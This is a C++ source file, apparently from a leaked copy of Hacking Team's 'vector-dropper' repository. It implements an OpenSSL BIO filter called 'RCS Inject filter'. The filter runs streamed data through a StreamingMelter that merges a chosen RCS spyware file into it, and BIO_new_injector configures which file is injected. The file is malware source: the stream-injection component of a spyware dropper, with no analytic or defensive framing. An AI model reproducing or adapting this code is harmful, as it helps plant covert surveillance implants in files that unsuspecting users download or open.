hackedteam/vector-dropper

#include <iostream>

#include <stdio.h>
#include <errno.h>

#include <boost/filesystem/fstream.hpp>
#include <boost/filesystem.hpp>
namespace bf = boost::filesystem;

#include <openssl/bio.h>
#include <openssl/evp.h>

#include "../include/melt.h"
#include "StreamingMelter.h"

static int injectf_write(BIO *h, const char *buf, int num);
static int injectf_read(BIO *h, char *buf, int size);
static int injectf_puts(BIO *h, const char *str);
static int injectf_gets(BIO *h, char *str, int size);
static long injectf_ctrl(BIO *h, int cmd, long arg1, void *arg2);
static int injectf_new(BIO *h);
static int injectf_free(BIO *data);
static long injectf_callback_ctrl(BIO *h, int cmd, bio_info_cb *fp);

BIO_METHOD method_injectf =
{
    BIO_TYPE_INJECT_FILTER,
    "RCS Inject filter",
    injectf_write,
    injectf_read,
    injectf_puts,
    injectf_gets,
    injectf_ctrl,
    injectf_new,
    injectf_free,
    injectf_callback_ctrl,
};

static int injectf_new(BIO *bi)
{
    try {
        bi->ptr = new StreamingMelter();
    } catch (...) {
        return 0;
    }
    bi->init = 1;
    bi->flags = 0;

    return (1);
}

static int injectf_free(BIO *a)
{
    if (a == NULL)
        return (0);

    delete ( (StreamingMelter*)a->ptr );
    a->init=0;

    return (1);
}
    
static int injectf_read(BIO *b, char *out, int outl)
{
    int ret=0;
 
    if (out == NULL)
        return (0);

    if (b->next_bio == NULL)
        return (0);

    try {
        ret=BIO_read(b->next_bio,out,outl);
    } catch (...) {
        return (0);
    }
    BIO_clear_retry_flags(b);
    BIO_copy_next_retry(b);

    return(ret);
}

static int injectf_write(BIO *b, const char *in, int inl)
{
    int ret = 0;

    if ( (in == NULL) || (inl == 0) )
       return 0;

    if (b->next_bio == NULL)
        return 0;

    StreamingMelter *sm = (StreamingMelter*) b->ptr;
    if (!sm)
        return 0;

    // write to StreamingMelter, get output and write to next BIO
    try {
        sm->feed(in, inl);
    } catch (...) {
        return 0;
    }

    if ( sm->outputSize() ) {
        ret = BIO_write(b->next_bio, (const void*) sm->output(), sm->outputSize());
        sm->clearOutput();
    }

    BIO_clear_retry_flags(b);
    BIO_copy_next_retry(b);

    return ret;
}

static long injectf_ctrl(BIO *b, int cmd, long num, void *ptr)
{
    long ret;

    // pre BIO_push controls
    switch (cmd) {
     case BIO_CTRL_SET_DEBUG_FN:
            {
                StreamingMelter *sm = (StreamingMelter*) b->ptr;
                if (!sm)
                    return 0;

                std::cout << "Setting DEBUG_FN!" << std::endl;

                sm->set_debug_function( (debug_msg_t)ptr );

                ret = 0L;
            }
            break;
    }

    if (b->next_bio == NULL)
        return 0;

    switch(cmd)
    {
        case BIO_C_DO_STATE_MACHINE:
            BIO_clear_retry_flags(b);
            ret = BIO_ctrl(b->next_bio,cmd,num,ptr);
            BIO_copy_next_retry(b);
            break;

        case BIO_CTRL_FLUSH:
        {
           StreamingMelter *sm = (StreamingMelter*) b->ptr;
           if (!sm)
              return 0;

           try {
               sm->feed(NULL, 0);
               BIO_write(b->next_bio, (const void*) sm->output(), sm->outputSize());
               sm->clearOutput();
           } catch (...) {
               return 0;
           }

           ret = BIO_ctrl(b->next_bio,cmd,num,ptr);
        }
        break;

        case BIO_CTRL_DUP:
            ret = 0L;
            break;

        default:
            ret = BIO_ctrl(b->next_bio,cmd,num,ptr);
            break;
    }

    return(ret);
}

static long injectf_callback_ctrl(BIO *b, int cmd, bio_info_cb *fp)
{
    long ret = 1;

    if (b->next_bio == NULL)
        return(0);

    switch (cmd)
    {
        default:
            ret=BIO_callback_ctrl(b->next_bio,cmd,fp);
            break;
    }

    return(ret);
}

static int injectf_gets(BIO *bp, char *buf, int size)
{
    if (bp->next_bio == NULL)
        return(0);

    return ( BIO_gets(bp->next_bio, buf, size) );
}

static int injectf_puts(BIO *bp, const char *str)
{
    if (bp->next_bio == NULL)
        return(0);

    return(    BIO_puts(bp->next_bio,str) );
}

BIO* BIO_new_injector(char* file);

BIO_METHOD* BIO_f_inject(void)
{
    return (&method_injectf);
}

BIO* BIO_new_injector(const char * file)
{
    BIO* bio = NULL;

    try {
        bio = BIO_new(BIO_f_inject());
        StreamingMelter* sm = (StreamingMelter*) bio->ptr;
        sm->initiate();
        sm->setRCS(file);
        //printf("BIO INJECT: %s\n", file);
    } catch (std::runtime_error& e) {
        printf("RUNTIME ERROR: %s\n", e.what());
        bio = BIO_new(BIO_f_null());
    } catch (...) {
        printf("UNKNOWN ERROR!\n");
        bio = BIO_new(BIO_f_null());
    }

    return bio;
}